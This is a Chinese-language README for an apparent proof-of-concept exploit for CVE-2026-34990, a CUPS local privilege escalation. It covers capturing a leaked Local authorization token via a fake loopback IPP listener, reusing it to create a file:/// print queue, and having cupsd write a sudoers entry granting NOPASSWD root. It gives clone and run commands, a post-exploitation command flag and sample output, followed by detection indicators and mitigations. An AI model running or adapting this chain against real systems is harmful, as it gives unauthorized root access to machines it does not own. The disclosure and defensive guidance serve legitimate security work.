本地非特权用户 → root,通过泄露的 CUPS
Local授权令牌和绕过策略的file:///打印队列实现。PoC 作者 0xcybersoldier
CVE-2026-34990 是 OpenPrinting CUPS 中的一个本地权限提升漏洞,影响 2.4.16 及更早版本。
能够访问 CUPS 守护进程(cupsd)的本地非特权用户,可能诱使其对回环接口上攻击者控制的 IPP 服务进行身份验证。
由此获得的 Authorization: Local <token> 凭据随后可被重用于 CUPS 管理接口。
该攻击链最终可用于创建 file:/// 打印队列,并诱使 cupsd 以 root 权限写入攻击者控制的文件。
典型演示使用 sudoers 附加配置文件来获取 root shell。
本仓库包含一个实现该攻击链的单文件 Python 3 PoC,其中包括更安全的 --check 模式,用于演示存在漏洞的文件写入行为,而不会直接创建持久化的权限提升配置。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-34990 |
| 组件 | OpenPrinting CUPS (cupsd) |
| 受影响版本 | <= 2.4.16 |
| 漏洞类别 | CWE-306 / CWE-284 |
| 影响 | 本地权限提升 |
| 攻击向量 | 本地 |
| 所需权限 | 低 |
| 用户交互 | 无 |
| 发现者 | Asim Viladi Oglu Manizada |
| 安全公告 | GHSA-c54j-2vqw-wpwp |
该 PoC 针对:
OpenPrinting CUPS <= 2.4.16
检查本地运行的 CUPS 版本:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
示例:
Server: CUPS/2.4.16 IPP/2.1
注意: 在生产环境研究中依赖受影响版本范围之前,请先核实当前上游安全公告,因为厂商补丁和版本状态可能会发生变化。
[1] 本地用户发出 CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd 连接到回环接口上攻击者控制的
IPP 服务
|
v
[3] 伪造的 IPP 服务响应:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups 使用以下内容重试请求:
Authorization: Local <token>
|
v
[5] 令牌被捕获
|
v
[6] 令牌被重用于 CUPS 管理接口
|
v
[7] 创建临时 file:// 打印机,并
通过打印机管理工作流进行转换
|
v
[8] Print-Job 导致 cupsd 将提供的
文档写入 file:// 目标
|
v
[9] 演示载荷可修改特权
配置,例如 sudoers
|
v
ROOT
127.0.0.1:631 上的 CUPS 服务sudo 可用无需外部 Python 包。
克隆仓库:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
使 PoC 可执行:
chmod +x cve-2026-34990.py
无需额外依赖。
从非持久化验证模式开始:
./cve-2026-34990.py --check
检查模式尝试使用临时证明文件演示存在漏洞的 root 所属文件写入原语,并在测试后清理。
默认模式演示完整的权限提升链:
./cve-2026-34990.py
可通过以下方式提供命令:
./cve-2026-34990.py -c 'id'
示例:
./cve-2026-34990.py -c 'id; whoami'
| 标志 | 默认值 | 描述 |
|---|---|---|
--cups-port | 631 | 本地 CUPS TCP 端口 |
--listen-port | 9189 | 令牌捕获监听器使用的回环端口 |
--check | 关闭 | 安全验证模式 |
-c, --command | — | 成功利用后执行命令 |
--proof-dir | /var/tmp | 临时证明文件的父目录 |
--attempts | 8 | 文件写入尝试次数 |
--iterations | 80 | 每次尝试的 IPP 请求轮数 |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 本地权限提升
PoC 作者 0xcybersoldier
[*] 触发 CUPS 令牌泄露...
[+] 已捕获 CUPS Local 授权令牌
[*] 文件写入竞争:尝试 1/8
[+] 存在漏洞:CUPS 写入了 root 所属的证明文件
该 PoC 创建一个临时 CUPS 打印机,其 device-uri 指向回环接口上攻击者控制的 IPP 监听器。
示例:
ipp://127.0.0.1:9189/ipp/print
本地监听器响应一个身份验证质询:
401 Unauthorized
WWW-Authenticate: Local trc="y"
这导致 CUPS 客户端/服务器交互使用本地身份验证机制重试。
该 PoC 捕获由此产生的:
Authorization: Local <token>
凭据。
捕获的令牌被重用于对 CUPS 管理接口的请求中。
概念上:
Authorization: Local <TOKEN>
这提供了后续打印机管理操作所需的授权上下文。
随后,攻击滥用打印机管理工作流来创建一个引用 file:// 目标的队列。
相关目标的形式为:
file:///path/to/target
该 PoC 使用必要的打印机管理操作使队列上线并提交打印作业。
打印作业以原始文档形式提交。
由于 cupsd 以 root 权限运行,由此产生的文件操作可能以 root 权限执行。
--check 模式使用此原语创建临时证明文件,并验证其所有者为 UID 0。
完整演示可使用特权配置文件,例如 sudoers 附加配置文件。
概念上:
user ALL=(ALL) NOPASSWD: ALL
如果该文件成功写入并具有适当的属主和权限,受影响的用户即可调用:
sudo -n -s
并获得 root shell。
| 症状 | 可能原因 | 建议修复 |
|---|---|---|
No Local token received | CUPS 已修补或监听器不可达 | 验证 CUPS 版本和监听器 |
CUPS is not reachable | CUPS 已停止或使用其他端口 | 使用 --cups-port <port> |
| 无入站连接 | 本地打印机创建受限 | 检查 CUPS 操作策略 |
NOT CONFIRMED | 文件写入尝试未成功 | 增加 --attempts / --iterations |
| Sudoers 载荷被拒绝 | 用户名或环境不同 | 使用 --check |
| 监听器绑定错误 | 端口已被占用 | 使用其他 --listen-port |
监控回环流量:
sudo tcpdump -i lo -n port 9189
运行最小验证:
./cve-2026-34990.py \
--check \
--attempts 1 \
--iterations 1
检查 CUPS 服务:
systemctl status cups
检查监听套接字:
ss -lntp | grep ':631'
防御者可监控与此攻击链相关的多个指标。
查找:
cupsd → 127.0.0.1:<high-port>
特别是连接到意外的本地端口。
示例:
sudo tcpdump -i lo -n 'tcp and port 9189'
监控以下内容的异常组合:
CUPS-Create-Local-Printer
AddModifyPrinter
Print-Job
特别关注包含以下内容的打印机定义:
file:///
监控敏感位置,例如:
/etc/sudoers.d/
/etc/cron.d/
/etc/systemd/system/
/root/
查找由 cupsd 创建或与之相关的意外文件。
文件完整性监控解决方案有助于检测这些更改。
调查设备 URI 以以下内容开头的意外打印机:
file:///
监控以下内容的异常重用:
Authorization: Local
凭据在 CUPS 管理请求中的重用。
在部署适当的厂商修复之前:
file:// 打印机支持检查 CUPS 配置,并在不需要时禁用文件设备支持。
例如:
FileDevice No
在适当的 CUPS 配置中。
检查 CUPS:
OperationPolicy
并在可行的情况下限制对以下内容的访问:
CUPS-Create-Local-Printer
将 CUPS 管理功能的访问限制为受信任的用户和进程。
不要不必要地暴露 CUPS 管理。
在部署架构支持的情况下,使用以下方式隔离 CUPS:
监控以下内容的更改:
/etc/sudoers
/etc/sudoers.d/
使用文件完整性监控。
在可用时应用适当的上游/厂商安全更新。
在基于历史版本范围部署缓解措施之前,请始终核实当前受支持的 CUPS 版本和安全公告。